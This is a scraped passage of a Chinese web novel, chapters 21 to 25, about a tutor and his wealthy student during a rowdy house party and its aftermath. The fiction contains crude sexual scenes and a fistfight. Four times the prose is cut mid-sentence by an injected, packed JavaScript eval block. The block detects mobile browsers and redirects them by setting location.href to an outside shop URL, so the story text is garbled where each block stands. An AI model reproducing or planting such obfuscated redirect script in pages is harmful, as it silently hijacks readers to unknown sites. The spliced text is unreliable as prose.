他惊出一身冷汗,手忙脚乱地脱掉两层裤子,飞奔着拿进卫生间去洗。 水流声掩盖住他粗重的喘息,向天问一边手搓裤子,一边替自己辩解道,梦这种东西,就是对白天看到、听到、经历到的事的一种再现。 梦境常把现实中的破碎画面和点滴元素,毫无逻辑地组合在一起,形成一些诡谲怪诞的情节。他中午看到的黄色画面,和睡着前见到的最后一个人,被大脑在无意识的情况下拼接在一起而已。这没什么大不了的,也不能说明什么。 对,只是无意识的感觉材料拼接,嗯,只是碰巧了而已。他搓完裤子,又进浴室冲了一把,出来看一眼手机,已经过了零点。 可这会儿困意全无,他在床边呆坐了一会儿,还是决定去刷几道题打发时间。 刚到书房,才选好一套难度适中的模拟卷,却见蔡衍嘉从门缝中探出脑袋:“向老师,你还没睡?正好正好,我朋友临时起意要来玩,我还怕打扰你呢。” 什么“朋友”深更半夜来别人家打搅?向天问不禁警觉,怕不是什么正经人物。 “是以前在英国时一起玩的那群bitches,他们几个人打飞的来看演唱会,散场了没处去,来我这里续个二场。”蔡衍嘉换了一件奇形怪状的跨栏背心,胸前几道开口竟是镂空的,头发也重新抓过了,“要是你觉得不方便,我带他们出去也行?” 大半夜的,一旦把这货放出去,还不知道回来的时候变成什么妖魔鬼怪!向天问赶紧说“方便”,还主动提出要帮忙“准备准备”。 “不用不用,老季准备得差不多了,Kiki等下也带几个人来帮手。你扮靓点咯,向老师!”蔡衍嘉冲他wink一下,兴高采烈地走了。 “扮靓一点”?向天问顿时紧张起来,这将是他第一次认识蔡衍嘉的“朋友们”,他可不能露出穷酸相、给蔡衍嘉丢人啊! 22. 第22章 周姨每天会把脏衣服拿去机洗、烘干后挂回衣柜里。向天问打开衣柜,在之前穿过的几身衣服里精挑细选,最终还是拿了玩剧本杀那天穿的灰T恤和牛仔裤。 随后他来到客厅,茶几上已经摆满各式各样的洋酒和点心,老季蹲在地上,像是在给墙上的大屏幕外接什么设备。 蔡衍嘉掀了掀他T恤下摆,笑道:“向老师,轰趴诶,你干嘛穿得像要去打工?” 向天问这才发现,蔡衍嘉满脑袋亮片,身上散发着浓郁的高级香水味,很精心地打扮过了。 “就这样吧,我觉得挺好。”他实在不懂“轰趴”是什么场合,也不想引人注目。 蔡衍嘉却不肯将就,硬拖着他进衣帽间,翻出一件衣服抛给他。 向天问抖开一看,连连摇头:“这是……背心?不要不要不要……” “你穿嘛,身材这么好,当然要穿tank top啊!”蔡衍嘉上手要脱他的T恤,“相信我好不好,你穿一定好看!” 有钱人的品味真奇怪,向天问心想,这大跨栏背心子,不是工地上的人爱穿的吗? 没办法,向天问只好从命。蔡衍嘉目光闪闪地看着他换上背心,这才满意捏了捏他肩膀。 向天问看向穿衣镜,镜中的自己宽肩窄腰,裸露着健壮的手臂,他不禁害羞起来,赶紧挪开视线。 两人回到客厅,老季已经把设备调试好,下楼去接客人了。 先到的是Kiki和两个穿着短裙短裤、妆容精致的女孩子,三个人同蔡衍嘉打了个招呼,便熟门熟路地在大屏幕前,跟着视频里的劲爆音乐,练习一些拧腰甩胯的舞蹈动作。 蔡衍嘉递给向天问半杯金黄澄澈的洋酒,笑着问他:“你喜欢Kpop吗,向老师?WhiteViolet,听说过没?” 向天问摇了摇头。他对这种挑逗意味明显的舞蹈动作实在没什么好感,甚至觉得,大城市里的年轻人就是因为喜欢这种东西才玩物丧志,变得颓靡不振。 可这些话只能在心里念叨,人在屋檐下,他不得不和光同尘,默默独自清醒。 不一会儿,门外传来闹哄哄的人声,老季推开门,把一群咋咋唬唬的男男女女领进来,蔡衍嘉迎上去和他们一一拥抱寒暄。 来的人是三男两女,各个浓妆艳抹、香风袭人。 “向老师!”蔡衍嘉和其中一个穿得五颜六色的女孩勾肩搭背,走过来招呼他道,“Meet my girl Estella!” 女孩儿黑色羽毛般的夸张睫毛闪动两下,扬起下巴冲向天问飞了个眼儿:“Hi, 黑皮哥哥,你真人比照片靓哦!” 照片,什么照片?这货偷拍他,还把他照片发给别人?向天问丢给蔡衍嘉一个谴责的眼神,蔡衍嘉却毫无愧色,紧接着把另外几个人一一介绍给他。 他在心里默默记忆,西装里面啥也不穿的男生叫“赢仔”,超短裙露半个屁股蛋子的“大方”姑娘是“素丽”;另外还有两个一进来就黏着跳舞姑娘的小伙子,他懒得记名字,统一命名为猥琐一号和猥琐二号。 大屏幕上的音乐声渐强,人人手里都端上了酒。向天问目光追随着在人堆里来回穿梭的蔡衍嘉,呆站在一旁百无聊赖。 大屏幕上跳出下一首歌,Estella突然激动地搁下酒杯,双脚直跳。四个姑娘加上kiki,五个人颇有默契地在沙发前排成人字形,整齐划一地跳起舞来。 几个小伙子兴奋地在沙发上蹦哒,气氛很是热闹。 跳着跳着,素丽忘记动作,渐渐跟不上了,她从“台上”下来,伸手去拉蔡衍嘉。蔡衍嘉扭着身子躲了半天,没拗过她,被推到了“台上”。 原来蔡衍嘉也会跳这个,而且跳得很不错!不像几个女生那样手脚软绵绵的,他动作干净利落,举手投足力量感十足。 眼神也特别到位,他每转一圈回来,目光总是精准地与向天问对视,像两道无形的钩索,牢牢勾住向天问。 几个男生冲着台上嗷嗷怪叫,向天问都怕他们把狼招来。他不好意思不作反应,只好轻轻拍起巴掌,努力露出欣赏的表情。 这时赢仔突然转头指着他大笑:“哈哈哈哈!这是什么‘新闻联播’鼓掌方式?” 几个人便都学着向天问的动作,一只手的四指拍着另一个手的掌心。蔡衍嘉从台上冲下来,拉着他的手笑得前仰后合。 可能是看到他神色有变,蔡衍嘉大声叫道:“向老师,你不要理他们!赢仔这个乡毋宁!So tacky!” “向老师?”猥琐一号瞪眼呲牙,露出搞怪的表情道,“这么巧么,姓‘Shawn’?The old Shawn has gone, Vincent’s got a new ‘Shawn’!哈哈哈哈——” 蔡衍嘉抬脚作势要踹那人,却被Kiki重新拉回台上,继续跳那支不正经的舞蹈。 向天问嘴角僵在微微上扬的角度,硬撑到一曲结束,趁蔡衍嘉被女孩儿们拉住探讨动作,放下酒杯回房去了。 Vincent’s got a new ‘Shawn’. 所以在蔡衍嘉其他朋友眼中,他向天问和那个附骨之蛆陈子骁一样、是陈子骁的替代品而已! 这个念头如一道惊雷将他劈醒,也似一把匕首,狠狠插进他皮肤里。他用这把利刃向内剖析,质问自己:“你与陈子骁有什么不同?” 当然不同,他不会骗蔡家的钱、不会替蔡衍嘉写作业,他是真心想让蔡衍嘉好好学习、有所成就;他不会像藤蔓一样捆住蔡衍嘉,如果哪一天蔡衍嘉不需要他了,或者他发现自己不能再帮蔡衍嘉进步,他会毫不犹豫、毫不留恋地离开,绝不纠缠哪怕一秒。 可除了他自己之外,谁会知道这些呢? 他不是一样收了蔡家的钱、陪少爷读书?他和蔡衍嘉同吃同住、穿蔡衍嘉给他的衣服;此时此刻,他不一样是在陪蔡衍嘉玩?他又如何能够证明自己和陈子骁不一样? 隔着几堵墙,客厅里的歌曲听不清曲调和歌词,只剩下动次打次的鼓点在向天问脚下震动。 他是来当家教的,少爷不学习,他还在这儿干什么?向天问怄起气来,又想去收拾他的包袱了。 忽然之间,房门被猛地推开,素丽手扒着门框 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16646963|188184||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,荡了半圈把自己送进屋来。 “Hey, handsome!”一进门,素丽就大剌剌朝向天问的床上一坐,两手往后撑,眯着眼上下打量着他,“你和Vincent是一对吗,嗯?” 这是什么话!向天问赶忙摇头。 素丽啪啪两声扯开露脐胸衣按扣,冲他挑眉道:“要不要玩一下?” 向天问吓得往后倒了两步,素丽哈哈笑道:“不要担心啦,开心一下咯,又不要你负责!我有未婚夫的。” 啥?每一个字他都听明白了,合起来这句话的意思他却不懂,便如石化般一下僵在那里。 “Oh dear,是处男吗?从没做过?”素丽一手按着胸口,像看见很萌的小动物那样“哦”了一声,起身拽住向天问一只手,直接往自己身上按,“放心吧,姐姐会给你留下一个终身难忘的……” “What the F**k?!金素丽!”门口响起一声惊呼,蔡衍嘉从天而降。 金素丽手还不松开,向天问用力挣脱,惊弓之鸟似的直往窗边角落躲。 “干嘛啦?!大惊小怪!”素丽大翻白眼,两手护着胸口气鼓鼓地走了。 蔡衍嘉也追了出去,向天问这才长出一口气,赶紧去把门反锁上。 这都什么人啊,蔡衍嘉的“朋友”果然没一个好东西!他气不打一处,不禁觉得蔡衍晴的担心也不是全无道理。 都凌晨一点多了,不困也得上床睡觉,向天问去卫生间洗脸刷牙,脱了牛仔裤躺在床上。 在节奏渐缓的鼓点声中,他隐约听见激烈的人声,像有人在吵架。仔细听了片刻,确定声音是来自附近,他赶紧爬起来穿上裤子。 这些二世祖可真能折腾,大半夜的唱歌跳舞,还吵起来了?!回头邻居打个110,可就麻烦了! 向天问跑到客厅,发现灯光已变得十分昏暗。外国女歌手的靡靡之音中,一男一女正抱在一起啃,是Estella和猥琐一号。 猥琐二号也脱了上衣,和两个女孩推推搡搡不知道在搞什么;Kiki则坐在赢仔腿上忘情热舞。 蔡衍嘉人呢?向天问心里咯噔一下。 吵架的声音已在不远处,他循声找过去,在通往工人间的走廊里,终于看到了蔡衍嘉。 这货正用掺杂着英语和普通话的粤语,和金素丽互相指戳着对喷。金素丽使用的语言更加奇怪,普通话、英语、粤语,和一种可能是韩国话的语言交杂在一起。 向天问站在黑暗中侧耳静听,想弄明白他们在吵什么,可金素丽说的话他听不懂,只能从蔡衍嘉口中探知一二。 “你问过他?你问过我吗?我就问你,你有没有respect me?” “I invited you into my house!” “你钟意咁样嘅?你钟意嘅自己去找啦!你抢我嘅做咩啊? 这是抢什么东西呢?向天问简直无语,这么大的人了,都不懂得谦让一点嘛? “好了好了别吵了!”他忍不住走上前去,对蔡衍嘉说,“你是主人,人家是客,你让让她,行吗?” 23. 第23章 两人齐齐回头望向他。蔡衍嘉脸唰的红了,金素丽则噗嗤笑出声来。 “好好,知道了,向老师。”蔡衍嘉看起来很不好意思,推着他胳膊、逃也似的带他离开。 啥情况,刚才吵成那样,他一来,就不吵了?向天问满头雾水,被蔡衍嘉一路拉回到客厅。 老季走过来,问夜里客人怎么安排,蔡衍嘉云淡风轻似的说:“我在向老师房间将就一晚,其他房间你随便安排他们。” 老季点了点头。向天问疑道,难道把主人房都让出来给客人睡,这些人这么重要吗? 这时蔡衍嘉脚下一飘,向天问赶紧揽腰搀扶住他,看来这货喝了不少。 “向老师,我头好晕,眼睛都睁不开了。”蔡衍嘉倚靠在他身上问,“几点了,天亮了吗?” “没,还不到两点。这几天你起得早,熬不住也很正常。”向天问带他回自己房间,把他放在床上。 蔡衍嘉却爬起来往卫生间走,嘴里叨咕着:“不行,我要冲个凉,洗香香……” 向天问赶紧过去扶住他:“别洗了,你站都站不住了,怎么洗?漱漱口就睡吧。” 蔡衍嘉在面池前咕嘟咕嘟吐了两口水,向天问又把他扶回床上,让他躺好。 “向老师,你来——”蔡衍嘉拍拍床,冲他伸出两条胳膊。 又要抱?这还抱起来没完了。向天问犹豫了一下,觉得没必要和一个醉鬼计较,便说:“嗯,稍等,我洗漱一下就来。” 刷完牙,刚放下漱口杯,忽听外面传来“咚”的一声,像什么东西砸在地板上发出的闷响。 “搞什么?”蔡衍嘉也挣扎着起身,两人赶紧跑出去查看。 主卧门口已经站了好几个人,看见蔡衍嘉来,大家竟都露出尴尬的表情。 “你……你……What manners,uh?What the f**k?”蔡衍嘉不知看见了什么,气得语无伦次大吼起来。 向天问急忙拨开人堆挤进去,却见床头柜被拉开半扇,旁边地上有个奇形怪状的黑色东西,不到一拃长,像个把手,正在嗡嗡震动。 猥琐二号在床边衣冠不整,笑得前仰后合:“Big boy toy,Vincent的小快乐!还是入体的哈哈哈哈——” Kiki带来的其中一个女孩坐在床上,双手捂脸也笑得花枝乱颤。 “我想找个套,一摸,摸出来这个东西!哈哈哈哈——”猥琐二号眉飞色舞地讲述他发现这个东西的经过,“吓得我直接甩飞……” 蔡衍嘉一手扶着墙壁,气得两眼通红、浑身发抖,一开口却哽住说不出话来。 “你有没有礼貌?!道歉!向Vincent道歉!”Estella冲那人叫道,那人却还在笑。 向天问猛然意识到这是什么“玩具”,顿时火了,冲上去一把揪住猥琐二号后脖颈子,把人推了个跟头:“有人生没人养的东西!你爸妈没教你在别人家不能乱翻?!” “What the f**k,man?你管我?”那人爬起来还要来劲,向天问一抬脚又把他踹得人仰马翻。 众人一看打起来了,纷纷上前拉住向天问。床上那姑娘这才意识到事情的严重性,吓得跳下床一溜烟跑了。 “Get out!Just……go!”蔡衍嘉终于回过神来,指着门喊道。 猥琐二号起身穿上裤子,还不想走:e on, mate! What’s the big deal?别扫兴好吗?大家都是成年……” “滚!”向天问粗吼一声,连蔡衍嘉都被吓得浑身一震,包括猥琐二号在内的众人作鸟兽散。 向天问心想,这种事要是传扬出去,蔡衍嘉以后还怎么活? 他姑父曾和工友们一起去找开发商讨薪,回来后告诉向天问,这些打扮得光鲜亮丽的“上等人”,其实个个色厉内荏。你要是和气礼貌、看起来善良讲理,他们根本不把你当回事;但只要你狠起来、拿出敢跟他拼命的气势,他们马上怂得像孙子。 于是他大步追出去,猥琐二号刚把大门拉开一条缝,他便砰的一拳怼在门上,狠狠瞪着那人说:“今天的事,就当没发生过。以后,但凡从你嘴里传出关于蔡家、关于Vincent半个字,别怪我不给Vincent面子!” 那人立刻缩脖瞪眼,背贴着门点头如捣蒜。 向天问拉开门,一直目送他跌跌撞撞跑到电梯旁,才重重把门关上。 Estella也来到门口,气鼓鼓地戳着手机:“什么东西啊!烂人,拉黑他,都给我拉黑他!” Kiki也带着两个女孩走了出来,一路骂骂咧咧地训斥刚才主卧里那个女孩:“我真服了!傻缺吧你!怎么有脸动客户东西的?你咕吧吃多了、脑子吃坏了吧!” “对不起对不起对不起,求你别告诉萌姐……”女孩儿哭得妆都化了,眼圈揉成两团乌黑。 向天问见他们披着外套、拎着鞋,看样子是没脸在这儿过夜,准备走了。 这些人也怪可怜的,干这行儿不得不看人脸色、替人背锅,实在不容易,何苦为难人家小姑娘。 于是他阴沉着脸说:“深更半夜的,你们穿成这样跑出去,出了事谁负责?” 老季也过来打圆场:“好了好了,不早了,客房还有空,大家先去休息吧,有什么事明天再说。” Kiki赔着笑脸,连声道“不好意思”、“添麻烦了”,这才领着两个女孩又回房间去。 向天问想起蔡衍嘉还在主卧,赶紧跑过去看他。 蔡衍嘉蜷缩着蹲在地上,像在抽泣。向天问想把他揪起来,伸出手却又收了回来,最终只得靠床坐在他身旁。 刚找到个舒服的姿势放腿,蔡衍嘉就一头扑进他怀里,贴着他胸口抖了抖。 他以为蔡衍嘉是在哭,低头却看到那双挂着泪珠的眼睛居然是在笑:“向老师,你好凶啊。” 对这种人为什么不凶?向天问恨铁不成钢地想,这些所谓的“朋友”大半夜不请自来,吃你的、喝你的、住你的,却没有半点尊重你的态度。就是因为看见Shawn把你耍得团团转,他们才觉得你好欺负,把你当成傻子、冤大头! 可这些话说出来只会令蔡衍嘉更伤心,他只能通通咽回去,叹了口气说:“以后少跟这些人来往吧,都不是什么正派人。” “这个圈子里的人都这样,我心里清楚。”蔡衍嘉无奈地撇撇嘴,“可我不跟他们来往,跟谁来往呢?总不能孤零零一个人……” 向天问听了这话,不禁来气,更觉得蔡老爷子的决策英明无比。 长久以来,蔡衍嘉在这帮废物二代的圈子里打滚惯了,想结交些好人,都不知道上哪儿去找,早晚学坏。要是能在国内上个好大 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16646964|188184||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 学,每天和学校里的老师、同学们一道,好歹能接触点儿正经人、琢磨点儿正经事。 “朋友贵精不贵多。这种狐朋狗友有什么舍不得的?你好好学习,将来上了大学,总能找到志同道合的好朋友。”向天问苦口婆心道。 蔡衍嘉“哦”了一声,一副不以为然的样子。 “你想想,蔡衍晴会和这种人一起玩吗?”向天问又想到一个新的角度劝他,“你想让她瞧得起你,就得像她一样、甚至比她还强。我就问你,她会浪费时间和这帮人打交道吗?” 蔡衍嘉不回答,却突然抬头直直看进他眼里,反问道:“那你呢,向老师?你不能做我朋友吗?” 我……能吗?向天问一时怔住。 他只是个暑期家教,他和蔡衍嘉的缘分,本就始于买卖关系;辅导一结束,两人便会回到各自的世界、各有各的人生道路,而这两条路几乎没有交汇的可能性。 “我只是想要一个永远不会背叛我、放弃我的朋友,为什么这么难呢?”这回蔡衍嘉真要哭了。 “可以,可以呀!”向天问赶紧哄他,“就是……你喜欢玩的东西,我都不懂,只会催着你学学学……我是怕你觉得我太凶……” “我就喜欢你凶。”蔡衍嘉委屈巴巴瞅着他,“我知道你是真心……” 正说着,手机嗡嗡响了起来。 蔡衍嘉掏出来一看,是Kiki连发来三条60秒的语音消息,应该是在道歉,想请求蔡衍嘉原谅。毕竟蔡衍嘉是他最大的金主,得罪了蔡衍嘉,今后钱可就没那么好赚了。 蔡衍嘉懒得点开听,只回复了一句:“没事,我知道。”然后又扑到向天问身上。 “不早了,睡吧?”向天问扶他坐直,想把他送上床。 蔡衍嘉却说:“不要!这床脏了,让老季扔出去!” 哎,好吧。向天问也有些心累,没精神理会这些,只好把蔡衍嘉扶起来,带回自己房里去了。 关了灯,又抱着陪了一会儿,蔡衍嘉终于睡着。向天问听着他平稳的呼吸声,眼皮也渐渐沉重。可想到客厅里那一摊狼藉,他又躺不住了。 不出所料,老季正在蹲在茶几旁,收拾被那群祖宗糟蹋得乱七八糟的点心和酒瓶。 “向老师,你不用管,我简单整理一下,明天会有钟点工上门来仔细弄。”老季腾不开手,只能冲他摇摇头。 虽说不是一个“阵营”的,但同为打工人,向天问难免感同身受。他一边帮老季撑着垃圾袋,一边忍着哈欠说:“吃的东西会招虫子,不能过夜。这么晚了,两个人弄,快一点。” 老季意味深长地看他一眼,轻轻叹了口气:“向老师,你和我年轻的时候一样,心眼实、眼里揉不得沙子。” “有些事情,你其实没必要出头。”老季压低声说,“被你赶走那个,家里是做房地产的。这几年他家生意确实不好做,说句江河日下也不算夸张。但干这行的,哪个手底下干净?咱们领工资做事的人,你得罪他干嘛?” 一语惊醒梦中人,向天问这才意识到,他替蔡衍嘉把人给得罪了。 “他不会找蔡衍嘉麻烦吧?”向天问攥拳问道。 老季愣了一下:“嗯?那倒不会。他还不至于蠢到动姓蔡的。” “那就好。”向天问冲着门的方向轻蔑一笑,“我一条贱命,挨一刀正好挣笔医药费、营养费,把债还了。” 24. 第24章 话音刚落,向天问自己先吓了一跳。 “你捅我一刀吧,我一条贱命,挨一刀正好挣笔医药费、营养费,就有钱还你了。”这是他爸常常挂在嘴边的一句话,只要一有债主上门,他爸就嬉皮笑脸地来这么一句。但凡有点理智的人,都纷纷知难而退了。 这些年来,向天问那么努力、吃什么苦都心甘情愿,除了争一口气、不让人小瞧之外,最大的动力莫过于和他爸切割。 这种“切割”不是说不管他爸、不为他爸做的窝囊事负责,而是从人格上、为人处事上,彻底摆脱他爸对他的影响。 他爸花钱大手大脚,他就格外节俭朴素;他爸猥琐好色,他就干脆远离女性;他爸贪婪无赖,他就恨不得每一分钱都是汗水滴在地上换来的。 可到头来,他终究还是他爸的好儿子,这种不要脸的狠话,他也能脱口而出。 才被他抛在身后不远处的,深到小腿的泥泞和贫穷的恶臭,又阴魂不散地向他席卷而来,向天问不知不觉端着垃圾桶愣了许久。 “向老师?”老季叫他,“看你困的,我这儿差不多了,你回去睡吧。” 向天问浑浑噩噩地回到房间,怕压到蔡衍嘉手脚,他十分拘谨地直挺挺躺下,一动不动,心里却倍感孤独。 蔡衍嘉熟睡的侧脸近在咫尺,这张线条优雅、皮肤白净的完美脸庞,是他在这个世界上见过的最好看的东西,是一切富足的美好生活的象征。 刚才不应该推开蔡衍嘉跑出去的,要是还能再抱抱就好了。 这个念头一起,向天问身上渐渐刺挠起来,那种骨头里渗出的不安与焦躁,像要把人逼疯一样。他只能反复屈腿、蹬腿,试图缓解这种难受;又不敢动作太大,怕吵醒蔡衍嘉。 明明困得不行,却无法保持安静,简直是酷刑般的煎熬。 他正急得鼻子发酸,忽然,睡梦中的蔡衍嘉翻了个身,手脚一起攀上他,把他抱住了。 啊,舒服了! 像被从水深火热中解救出来,一瞬间痛苦全消,向天问忍不住抱紧怀中人,激动得差点儿泪奔。 痛快了片刻,他却又忐忑起来。这样是不是不太好?好像趁人家睡着了,在占便宜似的。 一面自觉卑鄙,一面又实在舍不得放开,他只好努力说服自己,是蔡衍嘉自己抱上来的,而且没别人看见,不会有什么不好的影响;说不定蔡衍嘉自己都没意识到,醒来之后,就像从没发生过一样,何必小题大做…… 再一睁眼,已经日上三竿了。向天问发现自己竟然把蔡衍嘉整个儿圈在怀里,两人面对面搂抱着,脸几乎贴在一起。 他吓得浑身一抖,所幸蔡衍嘉仍睡得香甜,毫无反应。他屏住呼吸,轻手轻脚地搬开蔡衍嘉的胳膊、腿儿,把自己摘出来,跳下床跑了。 没想到已经11点多了。玄关处堆着花花绿绿的行李箱,客人们聚在餐厅叽叽喳喳,向天问懒得见他们,就跟着带手套、拎个桶的清洁工阿姨,想看看有没有能帮上忙的地方。 阿姨走进一间客人房,立刻眉头紧皱,回头冲向天问摆摆手,说了句方言。 可惜他听不懂,脚下没停,结果一眼就看见地上扔着个瘪了的“气球”,里面半兜不明液体。要不是他反应快,差点儿一脚踩上去。 哕——向天问膈应坏了,这才意识到刚才阿姨是说,让他别进来。 这都什么人啊!一个个长得平头正脸的,居然跑到别人家里胡乱发情,畜生吗?他怄得直来火,却又想到,蔡衍嘉以前没少跟这帮人混,会不会也…… 老话说,物以类聚,人以群分,蔡衍嘉这个性子,哪有不随波逐流的道理? 向天问心里毛躁起来,烦得直想摔东西。正好阿姨在撤被套,他便跟着拿起枕头,发狠似的往下扯枕套。 接连收拾了几个房间,他和阿姨出来,在走廊里遇到老季,老季一把抢过他手上的垃圾袋:“向老师,你做这些干什么?衍嘉少爷到处找你呢。” 不知怎么的,他心里始终不舒服,不情不愿地洗了手,这才慢吞吞走到客厅。 蔡衍嘉已经在送客了,却还是一副宿醉未醒的样子。客人们轮流和蔡衍嘉拥抱,说着轻描淡写的客套话。 经过昨晚的“风波”,那两个 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16646965|188184||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 男的突然对向天问客气起来,竟主动和他握手。 “向老师,nice meeting you!”猥琐一号冲他点头道,“我从小最佩服学习好的人,有机会来英国,一定找我哦!” 向天问冷冷提了提嘴角,并没有什么好脸色。 回到饭桌前,周姨已经做好四菜一汤。他们两人,加上老季,各怀心事地闷头吃饭,都没怎么说话。 吃完饭,蔡衍嘉似乎看出向天问不大高兴,放下筷子说:“向老师你不要生气了好不好?以后我不让他们来家里了。” “不让他们来,你去别人家不是一样吗?”向天问没好气道。 老季听了这话一愣,目光在他们两个脸上扫视一圈,急忙打圆场:“这倒不会。衍嘉少爷认床,一般不在外面过夜,多晚都要回来的。” 向天问心道,认什么床?昨晚在我床上还不是睡得像个死猪一样! 他拿起碗筷,起身便往厨房走。刚打开水龙头冲碗,蔡衍嘉就跟了过来。 “向老师,我才不会像他们那样乱搞呢!我嫌脏。而且,我小时候有大师给我算过,说我八字里姻缘坐正宫,正缘伴侣是财运的根基,命里只能有一个爱人。一旦沾上烂桃花,就会命运坎坷、荣华富贵皆成空。” “所以有时候哪怕是看上去还不错的人追我,一想到这辈子都要跟这人捆绑在一起,我就瞬间下头、x欲全无。”蔡衍嘉冲他郑重摇了摇头,“所以我不和人for one night的。” 向天问关上水龙头,甩甩手说:“你不用跟我说这些,又不关我的事。” 蔡衍嘉抱着他胳膊笑道:“我是怕你不清楚状况、跟老爷子乱告状,害我‘富贵成空’咯。” 向天问无语地想笑,白了他一眼:“你家老爷子还信这些封建迷信的东西啊?” “当然咯!”蔡衍嘉凑近他说,“你知道吗?蔡衍诚就是因为不信这些,大师要他往东,他偏往西,才走到今天这步田地。” 看来这位“大师”是蔡家老爷子的知心人。向天问想,为了管住这俩傻儿子,蔡铭生可没少动脑筋。 25. 第25章 接下来的日子里,蔡衍嘉的确乖了不少,每天练字,听向天问给他讲定理证明、做配套习题,英语和语文刷真题、整理错题,隔一天背一篇英语范文。 半个月下来,英语模拟卷已经能稳定在120分上下,语文也能做到50多分了。 向天问不敢逼得太紧,每天都和他一起健身,偶尔空出一个晚上让他打打游戏、陪他喝酒聊天。 只是蔡衍嘉越来越没正形,稍微遇到点儿不顺心的事——题目做不出来、写得字自己不满意,甚至有时候只是困了累了——就要“看看腹肌”,还经常赖在向天问房间睡午觉。 向天问也逐渐习惯他毫无边界感的触碰,不再那么容易出现令人尴尬的状况。 这天是月中15日,蔡衍嘉一大早就来到向天问房间,坐在他床上摇头晃脑道:“今天是发薪日哦,向老师!你要现金还是转账?我带你去银行吧?” 又找借口出门玩?向天问摇摇头:“工资用微信转给我就行。” “不是吧,向老师,你想让企鹅家多赚一笔手续费?”蔡衍嘉说,“你是要还款的吧?从微信里提款到银行卡要手续费,跨行异地转账还有延时,何必给自己找麻烦?” 说得没错,向天问沉默了一瞬,改口道:“那就……给我现金,我自己去银行电汇还款。” 蔡衍嘉笑了:“我身上没有那么多现金,还是要跑一趟银行。一起去吧。” 向天问只得点头。蔡衍嘉掏出手机打了个电话,半小时后,说银行的车到了。 什么银行,还可以上门来接?!向天问只和县里那家合作社打过交道,里面的工作人员态度虽不算恶劣,但也远谈不上“服务”二字。 所以,当银行的黑色面包车上下来一个西装革履的英俊男子,满脸堆笑地为他和蔡衍嘉拉开车门、请他们上车,他确实有点儿懵。 车上冷气很足,真皮沙发椅十分舒适奢华。那人自称“William”,称呼蔡衍嘉为“蔡先生”,有相当明显的香江口音。 路上,蔡衍嘉和William聊了天气、饭店、演唱会,和近来的油价、金价,却始终不提取钱的正事。 银行坐落在江边大道上,William把他们带到8楼的一间大办公室,甚至没有路过大堂。 落座后喝上香槟,蔡衍嘉终于说起此行的目的:“帮我转三万块去这个还款账户。”然后把向天问出门前抄好账户和开户行信息的纸递给William。 向天问一听,立刻小声提醒道:“一万八,工资是一万八。” “两个月的一起给你啊,省得下个月再跑一趟。”蔡衍嘉给他安排得明明白白,“你还款三万,剩下六千我微信转给你,留在身边零用。” 当着银行工作人员的面,向天问不好同他争辩,只得收声乖乖坐好。 William在电脑上噼里啪啦操作一番,几分钟后,就说“好了”,还打出一张单子,请蔡衍嘉签字。 向天问的手机上收到合作社发来的还款短信,他打开app,发现每个月应还的金额,已经从1700降到了1056。 一次性还款3万后,接下来每个月就只用还一千出头了!肩上的重担一下轻了不少,他心头大慰,暗暗长出一口气。 就在向天问以为事办完了、要走了时,William突然对他说道:“向先生,可以耽误您几分钟吗?我留意到您在这个‘农村信用合作社’有一笔欠款。冒昧地说,我们一般不建议客户和这种级别的金融机构发生债务关系。” “相信您对我们银行也有一定的了解,我们可以为您提供债权转让服务。就是帮您把这笔欠款从原机构买下来,今后您在我们这里还款,方便我们为您提供更优质的服务。”William脸上挂着标准的职业微笑,“需要的话,我们可以替您和原机构的贷款经理沟通。” 向天问还在错愕之中,蔡衍嘉先点了点头:“好啊。你算一下,转过来之后利息划不划算、原本的管理费和滞纳金能不能适当减免。如果没有变化的话,就不麻烦了。” William笑道:“那是当然。没有好处的话,我何必给向先生这个建议呢?向先生是您带来的优质客户,利息和管理费自然不会高于为您服务的标准,算下来一定是低于原机构的啦。” 向天问脸色陡然一变。这两人一唱一和的,把他当傻子吗?他怎么会看不出这是要干什么? 首先,合作社这笔贷款的利息,是扶贫办出面替他家谈下来,外资商业银行的利息怎么可能低于这个“政策照顾”的标准? 再说了,银行购买债权是为了低买高卖、从中赚钱,哪有高买低卖、赔本倒贴的道理? 退一万步说,即便这家银行真不打算在他身上赚钱,那也是因为他们早在蔡家上百亿的资产中赚了足够多的钱。说到底,不还是蔡家替他付了这笔钱? 前阵子向天问拒绝蔡 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 